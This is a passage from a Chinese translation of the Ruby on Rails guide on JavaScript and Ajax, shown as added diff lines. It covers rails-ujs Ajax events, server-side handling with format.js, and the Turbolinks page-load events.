+  <%= f.submit data: { "disable-with": "Saving..." } %>
+<%= end %>
+
+
+
+

生成的表单包含:

+
+<input data-disable-with="Saving..." type="submit">
+
+
+
+

4 处理 Ajax 事件

data-remote 属性的元素具有下述事件。

这些事件绑定的句柄的第一个参数始终是事件对象。下面列出的是事件对象之后的其他参数。例如,如果列出的参数是 xhr, settings,那么定义句柄时要写为 function(event, xhr, settings)

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
事件名额外参数触发时机
ajax:before在整个 Ajax 调用开始之前,如果被停止了,就不再调用。
ajax:beforeSendxhr, options在发送请求之前,如果被停止了,就不再发送。
ajax:sendxhr发送请求时。
ajax:successxhr, status, errAjax 调用结束,返回表示成功的响应时。
ajax:errorxhr, status, errAjax 调用结束,返回表示失败的响应时。
ajax:completexhr, statusAjax 调用结束时,不管成功还是失败。
ajax:aborted:fileelements有非空文件输入时,如果被停止了,就不再调用。
+

4.1 可停止的事件

如果在 ajax:beforeajax:beforeSend 的句柄中返回 false,不会发送 Ajax 请求。ajax:before 事件可用于在序列化之前处理表单数据。ajax:beforeSend 事件也可用于添加额外的请求首部。

如果停止 ajax:aborted:file 事件,允许浏览器通过常规方式(即不是 Ajax)提交表单这个默认行为将失效,表单根本无法提交。利用这一点可以自行实现通过 Ajax 上传文件的变通方式。

5 服务器端处理

Ajax 不仅涉及客户端,服务器端也要做处理。Ajax 请求一般不返回 HTML,而是 JSON。下面详细说明处理过程。

5.1 一个简单的例子

假设在网页中要显示一系列用户,还有一个新建用户的表单。控制器的 index 动作如下所示:

+
+class UsersController < ApplicationController
+  def index
+    @users = User.all
+    @user = User.new
+  end
+  # ...
+
+
+
+

index 视图(app/views/users/index.html.erb)如下:

+
+<b>Users</b>
+
+<ul id="users">
+<%= render @users %>
+</ul>
+
+<br>
+
+<%= form_with(model: @user) do |f| %>
+  <%= f.label :name %><br>
+  <%= f.text_field :name %>
+  <%= f.submit %>
+<% end %>
+
+
+
+

app/views/users/_user.html.erb 局部视图的内容如下:

+
+<li><%= user.name %></li>
+
+
+
+

index 页面的上部显示用户列表,下部显示新建用户的表单。

下部的表单会调用 UsersControllercreate 动作。因为表单的 remote 选项为 true,所以发给 UsersController 的是 Ajax 请求,使用 JavaScript 处理。要想处理这个请求,控制器的 create 动作应该这么写:

+
+# app/controllers/users_controller.rb
+# ......
+def create
+  @user = User.new(params[:user])
+
+  respond_to do |format|
+    if @user.save
+      format.html { redirect_to @user, notice: 'User was successfully created.' }
+      format.js
+      format.json { render json: @user, status: :created, location: @user }
+    else
+      format.html { render action: "new" }
+      format.json { render json: @user.errors, status: :unprocessable_entity }
+    end
+  end
+end
+
+
+
+

注意,在 respond_to 块中使用了 format.js,这样控制器才能响应 Ajax 请求。然后还要新建 app/views/users/create.js.erb 视图文件,编写发送响应以及在客户端执行的 JavaScript 代码。

+
+$("<%= escape_javascript(render @user) %>").appendTo("#users");
+
+
+
+

Rails 提供了 Turbolinks 库,它使用 Ajax 渲染页面,在多数应用中可以提升页面加载速度。

Turbolinks 为页面中所有的 <a> 元素添加一个点击事件处理程序。如果浏览器支持 PushState,Turbolinks 会发起 Ajax 请求,解析响应,然后使用响应主体替换原始页面的整个 <body> 元素。最后,使用 PushState 技术更改页面的 URL,让新页面可刷新,并且有个精美的 URL。

要想使用 Turbolinks,只需将其加入 Gemfile,然后在 app/assets/javascripts/application.js 中加入 //= require turbolinks

如果某个链接不想使用 Turbolinks,可以在链接中添加 data-turbolinks="false" 属性:

+
+<a href="http://github.com/..." data-turbolinks="false">No turbolinks here</a>.
+
+
+
+

6.2 页面内容变更事件

编写 CoffeeScript 代码时,经常需要在页面加载时做一些事情。在 jQuery 中,我们可以这么写:

+
+$(document).ready ->
+  alert "page has loaded!"
+
+
+
+

不过,Turbolinks 改变了常规的页面加载流程,不会触发这个事件。如果编写了类似上面的代码,要将其修改为:

+
+$(document).on "turbolinks:load", ->
+  alert "page has loaded!"
+
+
+
+

其他可用事件的详细信息,参阅 Turbolinks 的自述文件

7 其他资源

下面列出一些链接,可以帮助你进一步学习:

+ + + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + +